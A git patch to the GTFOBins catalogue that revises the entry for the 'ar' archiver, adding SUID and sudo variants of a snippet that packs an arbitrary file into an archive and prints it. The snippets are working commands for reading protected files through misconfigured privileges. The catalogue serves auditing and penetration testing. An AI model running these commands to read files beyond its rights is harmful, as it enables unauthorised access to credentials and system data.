From bed198068fb47c7626018b3b6c4cb2371145f07c Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sun, 17 Jan 2021 23:32:44 +0100 Subject: [PATCH] Fix ar and add suid and sudo --- _gtfobins/ar.md | 23 ++++++++++++++++++----- 1 file changed, 18 insertions(+), 5 deletions(-) diff --git a/_gtfobins/ar.md b/_gtfobins/ar.md index 1a72b35..2e8e300 100644 --- a/_gtfobins/ar.md +++ b/_gtfobins/ar.md @@ -1,9 +1,22 @@ --- +description: The file appears amid the binary content of the archive. functions: file-read: - code: | - OUTFILE=$(mktemp -u) - LFILE=file_to_read - ar r "${OUTFILE}" "${LFILE}" - cat "${OUTFILE}" + code: | + OUTFILE=$(mktemp -u) + LFILE=file_to_read + ar r "$OUTFILE" "$LFILE" + cat "$OUTFILE" + suid: + code: | + OUTFILE=$(mktemp -u) + LFILE=file_to_read + ./ar r "$OUTFILE" "$LFILE" + cat "$OUTFILE" + sudo: + code: | + OUTFILE=$(mktemp -u) + LFILE=file_to_read + sudo ar r "$OUTFILE" "$LFILE" + cat "$OUTFILE" ---